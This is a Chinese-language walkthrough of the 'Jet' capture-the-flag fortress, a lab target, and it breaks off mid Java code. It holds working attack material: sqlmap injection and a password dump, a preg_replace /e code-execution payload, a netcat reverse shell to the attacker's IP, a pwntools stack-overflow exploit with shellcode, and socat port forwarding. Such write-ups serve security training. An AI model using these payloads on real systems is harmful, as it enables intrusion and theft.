Jet
ABOUT Jet
Jet.com is currently looking for Security Engineers in the USA.
Jet’s mission is to become the smartest way to shop and save on pretty much anything. Combining a revolutionary pricing engine, a world-class technology and fulfillment platform, and incredible customer service, we’ve set out to create a new kind of e-commerce. At Jet, we’re passionate about empowering people to live and work brilliant.
We need super smart engineers from all levels to help us build one of the best engineered e-commerce platforms in the world (big talk we know, but that is our goal!). Our engineers combine creativity, curiosity, and drive to continuously perfect and revolutionize Jet from the inside out. We are looking to bring more intellectually curious engineers who are passionate about technology in general (Jet is a technology first company and prides itself on its culture of learning and knowledge sharing and we want all our engineers to be as passionate as we are!)
The Environment
Our infrastructure is largely built on Microsoft Windows. We have a hybrid configuration with on premise servers and cloud based servers using Microsoft Azure with a large number of additional technologies and middleware. We support three warehouses, a call center, corporate headquarters, and the development environment in the cloud. Our team uses a mix of Windows, Apple, and some Linux for our systems management platforms and cutting edge network equipment. About 50% of the development platform runs on Linux and the rest Windows.
Jet.com 目前正在美国寻找安全工程师。
Jet 的使命是成为购物和节省开销的最智能方式，几乎可以在任何事物上。结合了革命性的定价引擎、世界级的技术及履行平台，以及难以置信的客户服务，我们旨在创造一种全新的电子商务体验。在 Jet，我们热衷于赋予权力给人们，让他们能够更加出色地生活和工作。
我们需要从各个级别的超级聪明的工程师来帮助我们构建世界上最优秀的电子商务平台之一（我们知道这话听起来很夸张，但这就是我们的目标！）。我们的工程师结合创造力、好奇心和动力，不断地完善和革新 Jet，从内而外。我们希望吸引更多对技术充满好奇心的工程师，他们对技术充满热情（Jet 是一家技术优先的公司，并以其学习和知识共享的文化自豪，我们希望我们所有的工程师都像我们一样充满热情！）
环境
我们的基础设施主要建立在 Microsoft Windows 上。我们有一个混合配置，包括本地服务器和使用 Microsoft Azure 的云服务器，还使用了大量其他技术和中间件。我们支持三个仓库、一个呼叫中心、企业总部和云中的开发环境。我们的团队使用 Windows、Apple 和一些 Linux 作为我们的系统管理平台，并使用最先进的网络设备。大约 50% 的开发平台运行在 Linux 上，其余的运行在 Windows 上。
ENTRY POINT
10.13.37.10
First of all
sudo nmap -A --min-rate=5000 -T4 -sU --top-ports 20 10.13.37.10
Nmap scan report for 10.13.37.10
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
53/udp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
......
rustscan --ulimit 5000 10.13.37.10
Open 10.13.37.10:22
Open 10.13.37.10:53
Open 10.13.37.10:80
Open 10.13.37.10:5555
Open 10.13.37.10:7777
Open 10.13.37.10:9201
sudo nmap -A --min-rate=5000 -T4 -p 22,53,80,5555,7777,9201 10.13.37.10
Nmap scan report for 10.13.37.10
Host is up (0.40s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 62:f6:49:80:81:cf:f0:07:0e:5a:ad:e9:8e:1f:2b:7c (RSA)
| 256 54:e2:7e:5a:1c:aa:9a:ab:65:ca:fa:39:28:bc:0a:43 (ECDSA)
|_ 256 93:bc:37:b7:e0:08:ce:2d:03:99:01:0a:a9:df:da:cd (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx on Debian!
|_http-server-header: nginx/1.10.3 (Ubuntu)
5555/tcp open freeciv?
| fingerprint-strings:
| DNSVersionBindReqTCP, GenericLines, GetRequest, adbConnect:
| enter your name:
| [31mMember manager!
| edit
| change name
| gift
| exit
| NULL:
| enter your name:
| SMBProgNeg:
| enter your name:
| [31mMember manager!
| edit
| change name
| gift
| exit
| invalid option!
| ......
7777/tcp open cbt?
| fingerprint-strings:
| Arucer, DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, Socks5, X11Probe:
| --==[[Spiritual Memo]]==--
| Create a memo
| Show memo
| Delete memo
| Can't you read mate?
| NULL:
| --==[[Spiritual Memo]]==--
| Create a memo
| Show memo
|_ Delete memo
9201/tcp open http BaseHTTPServer 0.3 (Python 2.7.12)
Introduction
Lift off with this introductory fortress from Jet! Featuring interesting web vectors and challenges, this fortress is perfect for those getting started.
用这个 Jet 的入门级堡垒起飞吧！特色包括有趣的网页向量和挑战，这个堡垒非常适合刚开始的人。
Connect
http get 10.13.37.10:80
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx on Debian!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx on Debian!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working on Debian. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a></p>
<p>
Please use the <tt>reportbug</tt> tool to report bugs in the
nginx package with Debian. However, check <a
href="http://bugs.debian.org/cgi-bin/pkgreport.cgi?ordering=normal;archive=0;src=nginx;repeatmerged=0">existing
bug reports</a> before reporting a new bug.
</p>
<p><em>Thank you for using debian and nginx.</em></p>
<b>JET{s4n1ty_ch3ck}</b>
</body>
</html>
Flag
JET{s4n1ty_ch3ck}
Digging in
首先，尝试使用 DNS 服务对本地地址进行反查
dig @10.13.37.10 -x 10.13.37.10
; <<>> DiG 9.18.19-1~deb12u1-Debian <<>> @10.13.37.10 -x 10.13.37.10
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 15595
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;10.37.13.10.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
37.13.10.in-addr.arpa. 604800 IN SOA www.securewebinc.jet. securewebinc.jet. 3 604800 86400 2419200 604800
;; Query time: 283 msec
;; SERVER: 10.13.37.10#53(10.13.37.10) (UDP)
;; WHEN: Wed Mar 06 15:44:00 CST 2024
;; MSG SIZE rcvd: 109
将域名添加到 /etc/hosts 记录中
/etc/hosts
10.13.37.10 www.securewebinc.jet
10.13.37.10 securewebinc.jet
然后进行访问
http get www.securewebinc.jet
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>SecureWeb Inc. - We design secure websites</title>
......
<section id="contact">
<div class="container">
<div class="row">
<div class="col-lg-8 mx-auto text-center">
<h2 class="section-heading">Let's Get In Touch!</h2>
<hr class="my-4">
<p class="mb-5">Ready to start your next project with us? That's great! Give us a call and we will get back to you as soon as possible!</p>
</div>
</div>
<div class="row">
<div class="col-lg-4 ml-auto text-center">
<i class="fa fa-phone fa-3x mb-3 sr-contact"></i>
<p>123-456-6789</p>
</div>
<div class="col-lg-4 mr-auto text-center">
<i class="fa fa-flag-checkered fa-3x mb-3 sr-contact"></i>
<p>JET{w3lc0me_4nd_h@v3_fun!}</p>
</div>
</div>
</div>
</section>
......
</body>
</html>
Flag
JET{w3lc0me_4nd_h@v3_fun!}
Going Deeper
访问网页
在开发者工具的调试工具中，发现一个脚本 http://www.securewebinc.jet/js/secure.js
eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,41,10,123,10,32,32,32,32,36,46,97,106,97,120,40,123,117,114,108,58,32,34,47,100,105,114,98,95,115,97,102,101,95,100,105,114,95,114,102,57,69,109,99,69,73,120,47,97,100,109,105,110,47,115,116,97,116,115,46,112,104,112,34,44,10,10,32,32,32,32,32,32,32,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,36,40,39,35,97,116,116,97,99,107,115,39,41,46,104,116,109,108,40,114,101,115,117,108,116,41,10,32,32,32,32,125,44,10,32,32,32,32,101,114,114,111,114,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,114,101,115,117,108,116,41,59,10,32,32,32,32,125,125,41,59,10,125,10,103,101,116,83,116,97,116,115,40,41,59,10,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,32,103,101,116,83,116,97,116,115,40,41,59,32,125,44,32,49,48,48,48,48,41,59));
对脚本中的 ASCII 数据进行解码，得到
function getStats()
{
$.ajax({url: "/dirb_safe_dir_rf9EmcEIx/admin/stats.php",
success: function(result){
$('#attacks').html(result)
},
error: function(result){
console.log(result);
}});
}
getStats();
setInterval(function(){ getStats(); }, 10000);
尝试访问
http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/stats.php
1709711699
尝试进行目录爆破
dirsearch -u http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/
[15:56:33] 302 - 0B - /dirb_safe_dir_rf9EmcEIx/admin/auth.php -> login.php
[15:56:38] 301 - 194B - /dirb_safe_dir_rf9EmcEIx/admin/bower_components -> http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/bower_components/
[15:56:38] 301 - 194B - /dirb_safe_dir_rf9EmcEIx/admin/build -> http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/
[15:56:48] 302 - 0B - /dirb_safe_dir_rf9EmcEIx/admin/dashboard.php -> login.php
[15:56:49] 200 - 0B - /dirb_safe_dir_rf9EmcEIx/admin/db.php
[15:56:51] 301 - 194B - /dirb_safe_dir_rf9EmcEIx/admin/dist -> http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/
[15:56:53] 302 - 0B - /dirb_safe_dir_rf9EmcEIx/admin/email.php -> login.php
[15:57:06] 302 - 0B - /dirb_safe_dir_rf9EmcEIx/admin/index.php -> login.php
[15:57:13] 200 - 3KB - /dirb_safe_dir_rf9EmcEIx/admin/login.php
[15:57:15] 302 - 0B - /dirb_safe_dir_rf9EmcEIx/admin/logout.php -> login.php
[15:57:35] 301 - 194B - /dirb_safe_dir_rf9EmcEIx/admin/plugins -> http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/
[15:57:59] 301 - 194B - /dirb_safe_dir_rf9EmcEIx/admin/uploads -> http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/uploads/
访问 /dirb_safe_dir_rf9EmcEIx/admin/login.php
http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Secureweb Inc. | Log in</title>
<!-- Tell the browser to be responsive to screen width -->
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
<!-- Bootstrap 3.3.7 -->
<link rel="stylesheet" href="/dirb_safe_dir_rf9EmcEIx/admin/bower_components/bootstrap/dist/css/bootstrap.min.css">
<!-- Font Awesome -->
<link rel="stylesheet" href="/dirb_safe_dir_rf9EmcEIx/admin/bower_components/font-awesome/css/font-awesome.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="/dirb_safe_dir_rf9EmcEIx/admin/bower_components/Ionicons/css/ionicons.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="/dirb_safe_dir_rf9EmcEIx/admin/dist/css/AdminLTE.min.css">
<!-- iCheck -->
<link rel="stylesheet" href="/dirb_safe_dir_rf9EmcEIx/admin/plugins/iCheck/square/blue.css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="/dirb_safe_dir_rf9EmcEIx/admin/js/html5shiv.min.js"></script>
<script src="/dirb_safe_dir_rf9EmcEIx/admin/js/respond.min.js"></script>
<![endif]-->
</head>
<body class="hold-transition login-page">
<div class="login-box">
<div class="login-logo">
<b>Secureweb Inc.</b>
</div>
<!-- /.login-logo -->
<div class="login-box-body">
<p class="login-box-msg">
Authorized use only.
<br>
<span class="text-danger">
</span>
</p>
<!-- JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll} -->
<form action="/dirb_safe_dir_rf9EmcEIx/admin/dologin.php" method="post">
<div class="form-group has-feedback">
<input name="username" type="username" class="form-control" placeholder="Username">
<span class="glyphicon glyphicon-envelope form-control-feedback"></span>
</div>
<div class="form-group has-feedback">
<input name="password" type="password" class="form-control" placeholder="Password">
<span class="glyphicon glyphicon-lock form-control-feedback"></span>
</div>
<div class="row">
<div class="col-xs-8">
<div class="checkbox icheck">
<label>
<input type="checkbox"> Remember Me
</label>
</div>
</div>
<!-- /.col -->
<div class="col-xs-4">
<button type="submit" class="btn btn-primary btn-block btn-flat">Sign In</button>
</div>
<!-- /.col -->
</div>
</form>
</div>
<!-- /.login-box-body -->
</div>
<!-- /.login-box -->
<!-- jQuery 3 -->
<script src="/dirb_safe_dir_rf9EmcEIx/admin/bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 -->
<script src="/dirb_safe_dir_rf9EmcEIx/admin/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- iCheck -->
<script src="/dirb_safe_dir_rf9EmcEIx/admin/plugins/iCheck/icheck.min.js"></script>
<script>
$(function () {
$('input').iCheck({
checkboxClass: 'icheckbox_square-blue',
radioClass: 'iradio_square-blue',
increaseArea: '20%' // optional
});
});
</script>
</body>
</html>
Flag
JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll}
Bypassing Authentication
对 http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php 登陆界面进行 sql 注入探测
sqlmap -u http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php --forms --random-agent --level=5 --risk=3 --batch
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1327 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=aqFD'||(SELECT 0x63754e76 WHERE 3730=3730 AND (SELECT 3989 FROM(SELECT COUNT(*),CONCAT(0x71766a7071,(SELECT (ELT(3989=3989,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=aqFD'||(SELECT 0x4e5a4c63 WHERE 2250=2250 AND (SELECT 1236 FROM (SELECT(SLEEP(5)))bfpF))||'&password=
---
将数据库提取出来
sqlmap -u http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php --forms --random-agent --level=5 --risk=3 --batch --dbs
available databases [2]:
[*] information_schema
[*] jetadmin
提取出来数据库中的表
sqlmap -u http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php --forms --random-agent --level=5 --risk=3 --batch -D jetadmin --tables
Database: jetadmin
[1 table]
+-------+
| users |
+-------+
将表中的数据提取出来
sqlmap -u http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php --forms --random-agent --level=5 --risk=3 --batch -D jetadmin -T users --dump
Database: jetadmin
Table: users
[1 entry]
+----+------------------------------------------------------------------+----------+
| id | password | username |
+----+------------------------------------------------------------------+----------+
| 1 | 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084 | admin |
+----+------------------------------------------------------------------+----------+
使用 CrackStation 进行破解
| Hash | Type | Result |
|---|---|---|
| 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084 | sha256 | Hackthesystem200 |
得到凭据
admin:Hackthesystem200
使用上面得到的凭据成功登录进系统
在系统中就能得到 flag
Flag
JET{sQl_1nj3ct1ons_4r3_fun!}
Command
对系统可交互的功能进行探测，发现可用的只有邮件功能
对传输的数据进行测试
Test
POST /dirb_safe_dir_rf9EmcEIx/admin/email.php HTTP/1.1
Host: www.securewebinc.jet
Content-Length: 332
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.securewebinc.jet
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dashboard.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h8bqg9jk7kegf983s2of6v7i35
Connection: close
swearwords%5B%2Ffuck%2Fi%5D=make+love&swearwords%5B%2Fshit%2Fi%5D=poop&swearwords%5B%2Fass%2Fi%5D=behind&swearwords%5B%2Fdick%2Fi%5D=penis&swearwords%5B%2Fwhore%2Fi%5D=escort&swearwords%5B%2Fasshole%2Fi%5D=bad+person&to=admin%40admin.com&subject=admin%40admin.com&message=%3Cp%3Eadmin%40admin.com%3Cbr%3E%3C%2Fp%3E&_wysihtml5_mode=1
对 POST 的数据解码进行分析
swearwords[/fuck/i]=make love
&swearwords[/shit/i]=poop
&swearwords[/ass/i]=behind
&swearwords[/dick/i]=penis
&swearwords[/whore/i]=escort
&swearwords[/asshole/i]=bad person
&to=admin@admin.com
&subject=admin
@admin.com&message=<p>admin@admin.com<br></p>
&_wysihtml5_mode=1
可以猜测使用到了 preg_replace 函数对数据进行分析，尝试构建攻击数据包
swearwords[/fuck/ie]=system('whoami')&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort&swearwords[/asshole/i]=bad person&to=a@a.com&subject=test&message=swearwords[/fuck/]
得到
www-data
swearwords[/www-data/]
尝试进行反弹 shell
POST /dirb_safe_dir_rf9EmcEIx/admin/email.php?shell=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+10.10.16.2+9999+>/tmp/f HTTP/1.1
Host: www.securewebinc.jet
Content-Length: 233
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.securewebinc.jet
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dashboard.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h8bqg9jk7kegf983s2of6v7i35
Connection: close
swearwords[/fuck/ie]=system($_GET["shell"])&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort&swearwords[/asshole/i]=bad person&to=a@a.com&subject=test&message=swearwords[/fuck/]
成功得到回连的 shell
┌─[randark@parrot]─[~]
└──╼ $ pwncat-cs -lp 9999
[17:23:16] Welcome to pwncat 🐈!
[17:31:24] received connection from 10.13.37.10:49936
[17:31:33] 10.13.37.10:49936: registered new host w/ db
(local) pwncat$ back
(remote) www-data@jet:/var/www/html/dirb_safe_dir_rf9EmcEIx/admin$ whoami
www-data
(remote) www-data@jet:/var/www/html/dirb_safe_dir_rf9EmcEIx/admin$ ls -lh
total 112K
-rw-r--r-- 1 root root 33 Dec 20 2017 a_flag_is_here.txt
-rwxr-x--- 1 root www-data 157 Jan 3 2018 auth.php
-rwxr-x--- 1 root www-data 39 Dec 20 2017 badwords.txt
drwxr-x--- 32 root www-data 4.0K Dec 20 2017 bower_components
drwxr-x--- 6 root www-data 4.0K Oct 9 2017 build
-rwxr-x--- 1 root www-data 82 Dec 20 2017 conf.php
-rwxr-x--- 1 root www-data 44K Dec 27 2017 dashboard.php
-rwxr-x--- 1 root www-data 600 Dec 20 2017 db.php
drwxr-x--- 5 root www-data 4.0K Oct 9 2017 dist
-rwxr-x--- 1 root www-data 820 Dec 27 2017 dologin.php
-rwxr-x--- 1 root www-data 2.9K Dec 27 2017 email.php
-rwxr-x--- 1 root www-data 43 Dec 20 2017 index.php
drwxr-x--- 2 root www-data 4.0K Dec 20 2017 js
-rwxr-x--- 1 root www-data 3.6K Dec 20 2017 login.php
-rwxr-x--- 1 root www-data 98 Dec 20 2017 logout.php
drwxr-x--- 10 root www-data 4.0K Dec 20 2017 plugins
-rwxr-x--- 1 root www-data 21 Nov 14 2017 stats.php
drwxrwxrwx 2 root www-data 4.0K Mar 3 13:38 uploads
Flag
JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}
Overflown
进入到 /home 目录进行枚举
(remote) www-data@jet:/home$ ls -lh
total 36K
drwxrwx--- 2 alex alex 4.0K Jan 3 2018 alex
drwxr-x--- 7 ch4p ch4p 4.0K Apr 1 2018 ch4p
drwxr-x--- 6 g0blin g0blin 4.0K Apr 1 2018 g0blin
-rwsr-xr-x 1 alex alex 8.9K Dec 12 2017 leak
drwxr-x--- 2 membermanager membermanager 4.0K Dec 28 2017 membermanager
drwxr-x--- 2 memo memo 4.0K Dec 28 2017 memo
drwxr-xr-x 3 tony tony 4.0K Dec 28 2017 tony
可以看到 /home/leak 文件有权限进行读取，并且具有 suid 权限
(remote) www-data@jet:/home$ file /home/leak
/home/leak: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e423d25f1c41c318a8f5702f93b8e3f47273256a, not stripped
将文件下载到本地
(local) pwncat$ download /home/leak
/home/leak ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 9.1/9.1 KB • ? • 0:00:00
[17:37:50] downloaded 9.11KiB in 2.11 seconds
对其进行反编译分析
/home/leak 反编译分析
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF
_init(argc, argv, envp);
printf("Oops, I'm leaking! %p\n", s);
puts(aPwnMe);
printf(">");
fgets(s, 512, stdin);
return 0;
}
很明显存在栈溢出，尝试利用
Shellcode 参考自 Linux/x86-64 - Execute /bin/sh - 27 bytes
首先，先将程序映射到自定义端口
socat TCP4-LISTEN:12344,reuseaddr,fork EXEC:/home/leak
确定映射成功，攻击机通过 netcat 可以与之交互后，使用脚本进行攻击
from pwn import *
p = remote("10.13.37.10", 12344)
p.recvuntil("Oops, I'm leaking! ")
leak_addr = int(p.recvuntil("\n"), 16)
print(hex(leak_addr))
p.recvuntil(">")
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf = shellcode+ "\x90" * (72 - len(shellcode)) + p64(leak_addr, endianness="little")
p.sendline(buf)
p.interactive()
备注
Python2 脚本
成功建立会话，user 为 alex
(py2) ┌─[randark@parrot]─[~/tmp]
└──╼ $ python2 test.py
[+] Opening connection to 10.13.37.10 on port 12344: Done
0x7ffff6b2ac30
[*] Switching to interactive mode
$ whoami
alex
在 alex 的用户目录中，得到 flag
$ ls -lh /home/alex
total 20K
-rw-r--r-- 1 root root 659 Jan 3 2018 crypter.py
-rw-r--r-- 1 root root 1.5K Dec 28 2017 encrypted.txt
-rw-r--r-- 1 root root 7.2K Dec 27 2017 exploitme.zip
-rw-r--r-- 1 root root 27 Dec 28 2017 flag.txt
$ cat /home/alex/flag.txt
JET{0v3rfL0w_f0r_73h_lulz}
Flag
JET{0v3rfL0w_f0r_73h_lulz}
Secret Message
在 alex 的用户目录中，还有一些文件
/home/alex/crypter.py
import binascii
def makeList(stringVal):
list = []
for c in stringVal:
list.append(c)
return list
def superCrypt(stringVal,keyVal):
keyPos = 0
key = makeList(keyVal)
xored = []
for c in stringVal:
xored.append(binascii.hexlify(chr(ord(c) ^ ord(keyVal[keyPos]))))
if keyPos == len(key) - 1:
keyPos = 0
else:
keyPos += 1
hexVal = ''
for n in xored:
hexVal += n
return hexVal
with open('message.txt') as f:
content = f.read()
key = sys.argv[1]
with open('encrypted.txt', 'w') as f:
output = f.write(binascii.unhexlify(superCrypt(content, key)))
/home/alex/encrypted.txt Base64 Encodeed
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/home/alex/exploitme.zip Base64 Encodeed
UEsDBBQACQAIAMBKm0v5TLYyXgwAAPAnAAANABwAbWVtYmVybWFuYWdlclVUCQADh6xDWuWsQ1p1
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AAAEAAAAAFBLAQIeAxQACQAIAMNKm0tP25z8vw4AAPgzAAAEABgAAAAAAAAAAADtgbUMAABtZW1v
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featherduster
首先，编译 featherduster 的 Docker 镜像
git clone https://github.com/nccgroup/featherduster
docker build -t featherduster .
然后尝试解码，得到
Hello mate!
First of all an important finding regardhng our websitd: Login is prone to SQL injection! Ask the Developers to fix it asap!
Regarding your training material, I added the two binaries for the remote exploitation training in exploitme.zip. The password is the same we use to encrypt our communications.
Make sure those binaries are kept safe!
To make your life easier I have already spawned instances of the vulnerable binaries listening on our server.
The ports are 5555 and 7777.
Have fun and keep it safe!
JET{r3p3at1ng_ch4rs_1n_s1mpl3_x0r_g3ts_y0u_0wn3d}
Cheers - Alex
-----------------------------------------------------------------------------
This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named address you should not disseminate, dhstsibute or copy!thhs e-mail. Ple`se!notify the seodes immediately cy d-mail if you have received this e-mail by mistake and delete this e-mail from your sxstem. If you are not the intended recipient you are notified that disclosing, coping, distributing or taking any action in reliance on the contents of this information is strictly prohibited.
-----------------------------------------------------------------------------
并且得到加密所使用的 key 为 securewebincrocks
Elasticity
查看 9201 端口上的信息
curl 10.13.37.10:9201
[
{
"category": "maintenance",
"body": "Performance to our API has been reduced for a period of 3 hours. Services have been distributed across numerous suppliers, in order to reduce any future potential impact of another outage, as experienced yesterday",
"timestamp": "2017-11-10 07:00",
"subject": "Maintenance"
},
{
"category": "Maintenance",
"body": "All upgrades are complete, and normal service resumed",
"timestamp": "2017-11-13 13:32",
"subject": "Upgrades complete"
},
{
"category": "outage",
"body": "Due to an outage in one of our suppliers, services were unavailable for approximately 8 hours. This has now been resolved, and normal service resumed",
"timestamp": "2017-11-09 15:13",
"subject": "Server outage"
},
{
"category": "maintenance",
"body": "An unscheduled maintenance period will occur at 12:00 today for approximately 1 hour. During this period, response times will be reduced while services have critical patches applied to them across all suppliers and instances",
"timestamp": "2017-11-13 08:27",
"subject": "Upgrades"
}
]
同时查看服务器上开放的端口
netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:7777 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 10.13.37.10:9201 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN
tcp 0 0 10.13.37.10:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:953 :::* LISTEN
tcp6 0 0 127.0.0.1:9200 :::* LISTEN
tcp6 0 0 127.0.0.1:9300 :::* LISTEN
tcp6 0 0 :::53 :::* LISTEN
udp 0 0 10.13.37.10:53 0.0.0.0:*
udp 0 0 127.0.0.1:53 0.0.0.0:*
udp6 0 0 :::53 :::*
根据端口信息，可以定位 9300 为 Elasticsearch 服务
这个端口没有对外界开放，所以先将端口进行转发
socat tcp-listen:9999,reuseaddr,fork tcp:localhost:9300
编写一个 client 与服务进行交互，使用 test 进行搜索
import java.net.InetSocketAddress;
import java.net.InetAddress;
import java.util.Map;
import org.elasticsearch.action.admin.indices.exists.indices.IndicesExistsResponse;
import org.elasticsearch.action.admin.cluster.health.ClusterHealthResponse;
import org.elasticsearch.action.admin.indices.get.GetIndexResponse;
import org.elasticsearch.action.admin.indices.get.GetIndexRequest;
import org.elasticsearch.transport.client.PreBuiltTransportClient;
import org.elasticsearch.cluster.health.ClusterIndexHealth;
import org.elasticsearch.common.transport.TransportAddress;
import org.elasticsearch.client.transport.TransportClient;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.IndicesAdminClient;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.client.Client;
public class Program {
public static void main(String[] args) {
byte[] ipAddr = new byte[]{10, 13, 37, 10};
Client client = new PreBuiltTransportClient(Settings.EMPTY)
